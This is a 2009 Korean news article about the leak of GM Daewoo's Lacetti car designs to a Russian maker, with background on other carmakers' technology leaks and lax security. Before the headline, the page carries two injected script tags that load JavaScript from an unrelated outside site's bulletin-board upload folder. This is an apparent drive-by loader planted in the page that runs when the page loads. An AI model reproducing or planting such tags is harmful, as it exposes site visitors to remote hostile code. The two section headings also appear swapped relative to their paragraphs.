<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 지엠대우, \'라세티\' 기술유출 충격…대책마련 부심
[노컷뉴스] 2009년 09월 10일(목) 오전 10:10 가 가| 이메일| 프린트
[CBS산업부 박종환 기자]
지엠대우가 \'라세티\' 기술유출 사건으로 엄청난 충격에 빠져 있다.
특히, 라세티 설계도면 등 핵심기술이 통째로 러시아 업체에 넘어가 짝퉁 차량이 생산되고 있다는 사실이 검찰 수사결과 드러나자 충격과 함께 재발방지책 등 대응책 마련에 부심하고 있다.
지엠대우는 공식적으로는 \"아직 검찰 수사가 진행중인 만큼 수사결과를 지켜본다\"는 입장이다.
지엠대우 관계자는 \"지엠대우는 검찰 수사과정에 협조하고 있으며, 아직 결론이 나지 않은 만큼 수사결과를 보고 나서 적절한 입장을 밝히겠다\"고 밝혔다.
그러면서도 \"라세티가 구형 모델이기는 하지만 신차 개발에 2천억∼3천억원이 소요되기 때문에 관련 기술이 통째로 유출됐다면 심각한 일\"이라며 \"수사결과 기술유출이 사실로 드러날 경우 법적인 대응 등 적절한 조치를 취할 것\"이라고 밝혔다.
◈ 지엠대우 허술한 보안관리도 문제
지엠대우는 지난해 라세티 프리미어를 출시하면서 2002년 11월 출시된 라세티의 국내 시판을 중단했지만, 동유럽과 인도 등지에는 GM의 시보레 브랜드로 수출하고 있다.
자동차업계에서 기술 유출 사고가 일어난 것은 이번이 처음이 아니다. 지난 2007년에는 돈을 받고 자동변속기 기술과 NF쏘나타 관련 부품 설계도면 등을 중국 자동차 업체에 넘긴 현대차 직원이 구속됐다.
지난 7월에는 현대차의 자동차 엔진 전자제어 관련 기술을 국내 다른 회사에 유출한 현직 연구원이 구속된 바 있다.
쌍용차의 경우 상하이차가 경영철수를 선언한 직후 \'상하이차가 쌍용차의 스포츠유틸리티차량(SUV) 기술을 중국으로 빼돌린 것 아니냐\'는 의혹이 제기되기도 했다.
자동차 기술 유출사건이 잇따르고 있는 것은 그만큼 신차 개발에 막대한 비용과 시간이 들어가기 때문이다.
지엠대우가 이달 출시한 경차 \'마티즈 크리에이티브\'는 개발 기간이 27개월, 개발비는 2,950억원이었다. 현대차가 지난달 출시한 \'투싼 ix\'는 3년여의 연구개발 기간에 모두 2,800억원이 투입됐다.
◈ 기술 유출 사건 잇따라 발생...수천억에 이르는 신차개발비 때문
지엠대우의 허술한 보안 관리도 문제점으로 지적되고 있다. 지엠대우는 퇴직 직원들을 대상으로 보안서약서를 받고 연구 직원이 회사를 그만둘 때에는 3년간 동종업계 이직을 금지하는 등의 내부 규정을 두고 있었으나 제대로 지켜지지 않았다.
지엠대우의 현재 연구인력은 1,000~1,500명 수준이며, 이들의 이직률은 매년 3% 정도에 이른다. 30~50명 가량이 회사를 떠나 다른 업체에 취업하는 셈이다.
지엠대우 고위관계자는 \"CD나 컴퓨터 등 모든 자료는 승인이 없으면 외부 반출이 금지되며, 보안관리 규정을 매년 업그레이드하고 있다\"고 밝혔다. 특히 \"연구개발부문은 최고의 보안시스템이 작동되고 있다\"고 밝혔다.
이 관계자는 그러면서도 \"이번 사건은 몇년 전에 일어난 만큼, 보안단계가 현재보다 허술했을 가능성을 배제할 수 없다\"고 밝혔다.
이어 \"3년간 취업금지 규정이 있기는 하지만 현실적으로 모든 기업이 그 사람들을 추적할 수 없으며, 동종업계에 취업을 하더라도 현실적으로 이들을 제재할 수단이 없다\"고 밝혔다.
cbs2000@cbs.co.kr